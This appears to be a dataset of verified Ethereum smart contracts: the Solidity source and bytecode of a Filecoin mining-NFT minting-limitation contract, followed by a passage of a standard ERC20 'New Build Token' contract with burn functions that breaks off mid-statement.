/** *Submitted for verification at Etherscan.io on 2021-08-26 */ pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IMinerManage { function setOracleAddress(address _oracleAddress) external; function minerAdjustedStoragePowerInTiB(string memory minerId) external view returns(uint256); function whiteList(address walletAddress) external returns(bool); function minerInfoMap(address walletAddress) external returns(string memory); function getMinerList() external view returns(string[] memory); function getMinerId(address walletAddress) external view returns(string memory); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFilChainStatOracle { function sectorInitialPledge() external view returns(uint256); function minerAdjustedPower(string memory _minerId) external view returns(uint256); function minerMiningEfficiency(string memory _minerId) external view returns(uint256); function minerSectorInitialPledge(string memory _minerId) external view returns(uint256); function minerTotalAdjustedPower() external view returns(uint256); function avgMiningEfficiency() external view returns(uint256); function latest24hBlockReward() external view returns(uint256); function rewardAttenuationFactor() external view returns(uint256); function networkStoragePower() external view returns(uint256); function dailyStoragePowerIncrease() external view returns(uint256); function removeMinerAdjustedPower(string memory _minerId) external; } interface IMiningNFTMintingLimitationData { function totalMintLimitationInTiB() external view returns(uint256); function minerMintAmountLimitation(string memory _minerId) external view returns(uint256); function setTotalMintLimitationInTiB(uint _totalMintLimitationInTiB) external; function setMinerMintAmountLimitationBatch(string[] memory minerIds, uint[] memory limitations) external; function setMinerMintAmountLimitation(string memory minerId, uint limitation) external; function increaseTotalLimitation(uint256 _limitationDelta) external; function decreaseTotalLimitation(uint256 _limitationDelta) external; function increaseMinerLimitation(string memory _minerId, uint256 _minerLimitationDelta) external; function decreaseMinerLimitation(string memory _minerId, uint256 _minerLimitationDelta) external; } contract MiningNFTMintingLimitationBase is Ownable{ using SafeMath for uint256; IMinerManage public minerManage; IFilChainStatOracle public filChainStatOracle; IMiningNFTMintingLimitationData public limitationData; uint256 public mintAmountLimitationRatio = 200; // one-thousandth uint constant public RATIO_DENOMINATOR = 1000; event FilChainStatOracleChanged(address originalOracle, address newOracle); event LimitationRatioChanged(uint256 originalValue, uint256 newValue); event MiningNFTMintingLimitationDataChanged(address originalDataContract, address newDataContract); event MinerManageChanged(address originalMinerManage, address newMinerManage); constructor(IMinerManage _minerManage,IFilChainStatOracle _filChainStatOracle, IMiningNFTMintingLimitationData _limitationData){ minerManage = _minerManage; filChainStatOracle = _filChainStatOracle; limitationData = _limitationData; } function setMinerManage(IMinerManage _minerManage) public onlyOwner{ require(address(_minerManage)!=address(0), "address should not be 0"); address original = address(minerManage); minerManage = _minerManage; emit MinerManageChanged(original, address(_minerManage)); } function getTotalLimitationCap() public view returns(uint256){ return filChainStatOracle.minerTotalAdjustedPower().mul(mintAmountLimitationRatio).div(RATIO_DENOMINATOR); } function getMinerLimitationCap(string memory minerId) public view returns(uint256){ return filChainStatOracle.minerAdjustedPower(minerId).mul(mintAmountLimitationRatio).div(RATIO_DENOMINATOR); } function setFilChainStatOracle(IFilChainStatOracle _filChainStatOracle) public onlyOwner{ require(address(_filChainStatOracle)!=address(0), "address should not be 0"); address originalOracle = address(filChainStatOracle); filChainStatOracle = _filChainStatOracle; emit FilChainStatOracleChanged(originalOracle, address(_filChainStatOracle)); } function setLimitationRatio(uint256 _mintAmountLimitationRatio) public onlyOwner{ require(_mintAmountLimitationRatio > 0, "value should be > 0"); uint256 originalValue = mintAmountLimitationRatio; mintAmountLimitationRatio = _mintAmountLimitationRatio; emit LimitationRatioChanged(originalValue, _mintAmountLimitationRatio); } function setMiningNFTMintingLimitationData(IMiningNFTMintingLimitationData _limitationData) public onlyOwner{ require(address(_limitationData)!=address(0), "address should not be 0"); address original = address(limitationData); limitationData = _limitationData; emit MiningNFTMintingLimitationDataChanged(original, address(_limitationData)); } } contract Poster is Ownable{ address public poster; event PosterChanged(address originalPoster, address newPoster); modifier onlyPoster(){ require(poster == _msgSender(), "not poster"); _; } function setPoster(address _poster) public onlyOwner{ require(_poster != address(0), "address should not be 0"); emit PosterChanged(poster, _poster); poster = _poster; } } contract MiningNFTMintingLimitation is Poster,MiningNFTMintingLimitationBase{ using SafeMath for uint256; constructor(IMinerManage _minerManage, IFilChainStatOracle _filChainStatOracle, IMiningNFTMintingLimitationData _limitationData) MiningNFTMintingLimitationBase(_minerManage, _filChainStatOracle, _limitationData){ } function increaseLimitation(uint256 _limitationDelta) public onlyPoster{ require(limitationData.totalMintLimitationInTiB().add(_limitationDelta) <= getTotalLimitationCap(), "limitaion exceed hardcap"); string[] memory minerList = minerManage.getMinerList(); uint256 totalAdjustedPower = filChainStatOracle.minerTotalAdjustedPower(); for(uint i=0; i<minerList.length; i++){ string memory minerId = minerList[i]; increaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower); } } function increaseLimitationBatch(string[] memory _minerList, uint256 _limitationDelta) public onlyPoster{ require(limitationData.totalMintLimitationInTiB().add(_limitationDelta) <= getTotalLimitationCap(), "limitaion exceed hardcap"); uint256 totalAdjustedPower = getTotalAdjustedPower(_minerList); for(uint i=0; i<_minerList.length; i++){ string memory minerId = _minerList[i]; increaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower); } } function increaseMinerLimitation(string memory _minerId, uint256 _limitationDelta, uint256 totalAdjustedPower) internal { uint256 minerAdjustedPower = filChainStatOracle.minerAdjustedPower(_minerId); uint256 minerLimitationHardCap = minerAdjustedPower.mul(mintAmountLimitationRatio).div(RATIO_DENOMINATOR); uint256 minerLimitationDelta = minerAdjustedPower.mul(_limitationDelta).div(totalAdjustedPower); uint256 minerLimitationPrev = limitationData.minerMintAmountLimitation(_minerId); if(minerLimitationPrev.add(minerLimitationDelta) > minerLimitationHardCap){ minerLimitationDelta = minerLimitationHardCap.sub(minerLimitationPrev); } limitationData.increaseMinerLimitation(_minerId, minerLimitationDelta); } function decreaseLimitation(uint256 _limitationDelta) public onlyPoster{ string[] memory minerList = minerManage.getMinerList(); uint256 totalAdjustedPower = filChainStatOracle.minerTotalAdjustedPower(); for(uint i=0; i<minerList.length; i++){ string memory minerId = minerList[i]; decreaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower); } } function decreaseLimitationBatch(string[] memory _minerList, uint256 _limitationDelta) public onlyPoster{ uint256 totalAdjustedPower = getTotalAdjustedPower(_minerList); for(uint i=0; i<_minerList.length; i++){ string memory minerId = _minerList[i]; decreaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower); } } function decreaseMinerLimitation(string memory _minerId, uint256 _limitationDelta, uint256 totalAdjustedPower) internal{ uint256 minerAdjustedPower = filChainStatOracle.minerAdjustedPower(_minerId); uint256 minerLimitationDelta = minerAdjustedPower.mul(_limitationDelta).div(totalAdjustedPower); limitationData.decreaseMinerLimitation(_minerId, minerLimitationDelta); } function getTotalAdjustedPower(string[] memory _minerList) internal view returns(uint256 totalAdjustedPower){ for(uint i=0; i<_minerList.length; i++){ string memory minerId = _minerList[i]; uint256 minerAdjustedPower = filChainStatOracle.minerAdjustedPower(minerId); totalAdjustedPower = totalAdjustedPower.add(minerAdjustedPower); } } function checkLimitation(string memory _minerId, uint256 _minerTotalMinted, uint256 _allMinersTotalMinted) public view returns(bool, string memory){ if(_minerTotalMinted > limitationData.minerMintAmountLimitation(_minerId)){ return (false, "mint amount exceed miner limitation"); } if(_allMinersTotalMinted > limitationData.totalMintLimitationInTiB()){ return (false, "exceed platform total mint limitation"); } return (true, ""); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063af46348b1161007c578063af46348b1461026f578063cd729edd14610282578063d76dd424146102a3578063f19562b6146102b6578063f2fde38b146102bf578063fa12400d146102d257600080fd5b80638da5cb5b1461021c578063907aa6001461022d578063958a76c6146102405780639ada839c14610249578063a210333e1461025c57600080fd5b806351043ff6116100ff57806351043ff6146101c85780635decaf34146101db578063715018a6146101ee57806373bbb71c146101f6578063809597211461020957600080fd5b80630fbad4d91461013c57806313dc6f4f14610151578063183822771461018157806322fe752f146101945780633a90ffa1146101b5575b600080fd5b61014f61014a366004611605565b6102da565b005b600354610164906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61014f61018f366004611605565b610399565b6101a76101a236600461157e565b61052b565b604051908152602001610178565b61014f6101c3366004611605565b6105ce565b600454610164906001600160a01b031681565b600254610164906001600160a01b031681565b61014f610831565b61014f6102043660046113c2565b610867565b600154610164906001600160a01b031681565b6000546001600160a01b0316610164565b61014f61023b3660046114c7565b610920565b6101a760055481565b61014f6102573660046113c2565b6109ad565b61014f61026a3660046113c2565b610a57565b61014f61027d3660046113c2565b610b01565b6102956102903660046115b9565b610bab565b604051610178929190611661565b61014f6102b13660046114c7565b610d1e565b6101a76103e881565b61014f6102cd3660046113c2565b610e44565b6101a7610edf565b6000546001600160a01b0316331461030d5760405162461bcd60e51b81526004016103049061170c565b60405180910390fd5b600081116103535760405162461bcd60e51b8152602060048201526013602482015272076616c75652073686f756c64206265203e203606c1b6044820152606401610304565b600580549082905560408051828152602081018490527f47791a8391f540182d016aaeb1ecb45f59861f51a3e0fcc72ab98c7fb9dc6b9891015b60405180910390a15050565b6001546001600160a01b031633146103c35760405162461bcd60e51b8152600401610304906116b1565b6002546040805163c06ad7e760e01b815290516000926001600160a01b03169163c06ad7e79160048083019286929190829003018186803b15801561040757600080fd5b505afa15801561041b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261044391908101906113de565b90506000600360009054906101000a90046001600160a01b03166001600160a01b03166301447e5d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561049557600080fd5b505afa1580156104a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104cd919061161d565b905060005b82518110156105255760008382815181106104fd57634e487b7160e01b600052603260045260246000fd5b60200260200101519050610512818685610f40565b508061051d81611858565b9150506104d2565b50505050565b600554600354604051634a1f4c5b60e01b81526000926105c8926103e8926105c292916001600160a01b031690634a1f4c5b9061056c90899060040161167c565b60206040518083038186803b15801561058457600080fd5b505afa158015610598573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bc919061161d565b9061103e565b90611051565b92915050565b6001546001600160a01b031633146105f85760405162461bcd60e51b8152600401610304906116b1565b610600610edf565b6004805460408051600162029df960e51b0319815290516106869386936001600160a01b03169263ffac40e09281830192602092829003018186803b15801561064857600080fd5b505afa15801561065c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610680919061161d565b9061105d565b11156106cf5760405162461bcd60e51b815260206004820152601860248201527706c696d697461696f6e2065786365656420686172646361760441b6044820152606401610304565b6002546040805163c06ad7e760e01b815290516000926001600160a01b03169163c06ad7e79160048083019286929190829003018186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261074f91908101906113de565b90506000600360009054906101000a90046001600160a01b03166001600160a01b03166301447e5d6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a157600080fd5b505afa1580156107b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d9919061161d565b905060005b825181101561052557600083828151811061080957634e487b7160e01b600052603260045260246000fd5b6020026020010151905061081e818685611069565b508061082981611858565b9150506107de565b6000546001600160a01b0316331461085b5760405162461bcd60e51b81526004016103049061170c565b610865600061122c565b565b6000546001600160a01b031633146108915760405162461bcd60e51b81526004016103049061170c565b6001600160a01b0381166108b75760405162461bcd60e51b8152600401610304906116d5565b600154604080516001600160a01b03928316815291831660208301527f32487a31d5a41d672510a2a1aa50e214e52d5d25fd9a9e94dfa66f4349f8840f910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316331461094a5760405162461bcd60e51b8152600401610304906116b1565b60006109558361127c565b905060005b835181101561052557600084828151811061098557634e487b7160e01b600052603260045260246000fd5b6020026020010151905061099a818585610f40565b50806109a581611858565b91505061095a565b6000546001600160a01b031633146109d75760405162461bcd60e51b81526004016103049061170c565b6001600160a01b0381166109fd5760405162461bcd60e51b8152600401610304906116d5565b600380546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527fc34c216a747611114a28b4a2cd354896ff8798befbdaa0b17cb7b23d6d9f9ba5910161038d565b6000546001600160a01b03163314610a815760405162461bcd60e51b81526004016103049061170c565b6001600160a01b038116610aa75760405162461bcd60e51b8152600401610304906116d5565b600480546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f82a3d77afe73007053568c0b177811742bdc2d8c4a4f77ee6c0d3b24e8cd4653910161038d565b6000546001600160a01b03163314610b2b5760405162461bcd60e51b81526004016103049061170c565b6001600160a01b038116610b515760405162461bcd60e51b8152600401610304906116d5565b600280546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f8eda2b7d2e4fb87341fe0f01cf30038620776fc97c62bd20e76e7ac6256ad378910161038d565b60048054604051634806f4f160e01b81526000926060926001600160a01b031691634806f4f191610bde9189910161167c565b60206040518083038186803b158015610bf657600080fd5b505afa158015610c0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2e919061161d565b841115610c595760006040518060600160405280602381526020016118b56023913991509150610d16565b6004805460408051600162029df960e51b0319815290516001600160a01b039092169263ffac40e0928282019260209290829003018186803b158015610c9e57600080fd5b505afa158015610cb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd6919061161d565b831115610d015760006040518060600160405280602581526020016118d86025913991509150610d16565b50506040805160208101909152600081526001905b935093915050565b6001546001600160a01b03163314610d485760405162461bcd60e51b8152600401610304906116b1565b610d50610edf565b6004805460408051600162029df960e51b031981529051610d989386936001600160a01b03169263ffac40e09281830192602092829003018186803b15801561064857600080fd5b1115610de15760405162461bcd60e51b815260206004820152601860248201527706c696d697461696f6e2065786365656420686172646361760441b6044820152606401610304565b6000610dec8361127c565b905060005b8351811015610525576000848281518110610e1c57634e487b7160e01b600052603260045260246000fd5b60200260200101519050610e31818585611069565b5080610e3c81611858565b915050610df1565b6000546001600160a01b03163314610e6e5760405162461bcd60e51b81526004016103049061170c565b6001600160a01b038116610ed35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610304565b610edc8161122c565b50565b6000610f3b6103e86105c2600554600360009054906101000a90046001600160a01b03166001600160a01b03166301447e5d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561058457600080fd5b905090565b600354604051634a1f4c5b60e01b81526000916001600160a01b031690634a1f4c5b90610f7190879060040161167c565b60206040518083038186803b158015610f8957600080fd5b505afa158015610f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc1919061161d565b90506000610fd3836105c2848761103e565b6004805460405163635e481b60e01b81529293506001600160a01b03169163635e481b9161100591899186910161168f565b600060405180830381600087803b15801561101f57600080fd5b505af1158015611033573d6000803e3d6000fd5b505050505050505050565b600061104a82846117f6565b9392505050565b600061104a82846117d6565b600061104a82846117be565b600354604051634a1f4c5b60e01b81526000916001600160a01b031690634a1f4c5b9061109a90879060040161167c565b60206040518083038186803b1580156110b257600080fd5b505afa1580156110c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ea919061161d565b905060006111096103e86105c26005548561103e90919063ffffffff16565b9050600061111b846105c2858861103e565b60048054604051634806f4f160e01b81529293506000926001600160a01b0390911691634806f4f191611150918b910161167c565b60206040518083038186803b15801561116857600080fd5b505afa15801561117c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a0919061161d565b9050826111ad828461105d565b11156111c0576111bd8382611365565b91505b60048054604051639eae8d4560e01b81526001600160a01b0390911691639eae8d45916111f1918b9187910161168f565b600060405180830381600087803b15801561120b57600080fd5b505af115801561121f573d6000803e3d6000fd5b5050505050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000805b825181101561135f5760008382815181106112ab57634e487b7160e01b600052603260045260246000fd5b6020908102919091010151600354604051634a1f4c5b60e01b81529192506000916001600160a01b0390911690634a1f4c5b906112ec90859060040161167c565b60206040518083038186803b15801561130457600080fd5b505afa158015611318573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133c919061161d565b9050611348848261105d565b93505050808061135790611858565b915050611280565b50919050565b600061104a8284611815565b600082601f830112611381578081fd5b813561139461138f82611796565b611741565b8181528460208386010111156113a8578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156113d3578081fd5b813561104a8161189f565b600060208083850312156113f0578182fd5b825167ffffffffffffffff80821115611407578384fd5b818501915085601f83011261141a578384fd5b815161142861138f82611772565b80828252858201915085850189878560051b8801011115611447578788fd5b875b848110156114b85781518681111561145f57898afd5b8701603f81018c1361146f57898afd5b88810151604061148161138f83611796565b8281528e82848601011115611494578c8dfd5b6114a3838d830184870161182c565b87525050509287019290870190600101611449565b50909998505050505050505050565b600080604083850312156114d9578081fd5b823567ffffffffffffffff808211156114f0578283fd5b818501915085601f830112611503578283fd5b8135602061151361138f83611772565b8083825282820191508286018a848660051b8901011115611532578788fd5b875b8581101561156b5781358781111561154a57898afd5b6115588d87838c0101611371565b8552509284019290840190600101611534565b50909a9890920135985050505050505050565b60006020828403121561158f578081fd5b813567ffffffffffffffff8111156115a5578182fd5b6115b184828501611371565b949350505050565b6000806000606084860312156115cd578081fd5b833567ffffffffffffffff8111156115e3578182fd5b6115ef86828701611371565b9660208601359650604090950135949350505050565b600060208284031215611616578081fd5b5035919050565b60006020828403121561162e578081fd5b5051919050565b6000815180845261164d81602086016020860161182c565b601f01601f19169290920160200192915050565b82151581526040602082015260006115b16040830184611635565b60208152600061104a6020830184611635565b6040815260006116a26040830185611635565b90508260208301529392505050565b6020808252600a90820152693737ba103837b9ba32b960b11b604082015260600190565b60208082526017908201527f616464726573732073686f756c64206e6f742062652030000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561176a5761176a611889565b604052919050565b600067ffffffffffffffff82111561178c5761178c611889565b5060051b60200190565b600067ffffffffffffffff8211156117b0576117b0611889565b50601f01601f191660200190565b600082198211156117d1576117d1611873565b500190565b6000826117f157634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561181057611810611873565b500290565b60008282101561182757611827611873565b500390565b60005b8381101561184757818101518382015260200161182f565b838111156105255750506000910152565b600060001982141561186c5761186c611873565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610edc57600080fdfe6d696e7420616d6f756e7420657863656564206d696e6572206c696d69746174696f6e65786365656420706c6174666f726d20746f74616c206d696e74206c696d69746174696f6ea264697066735822122087ea60915abbd6d288a899e74edfe529c97056db90a13ac9dda83d60d995e8e664736f6c63430008040033
{"success": true, "error": null, "results": {}}
8,829
0xf39551e2118f92e312172c6e10a777482d8cbe86
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'New Build Token' contract // // Symbol : NBT // Name : New Build Token // Total supply: 13 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit 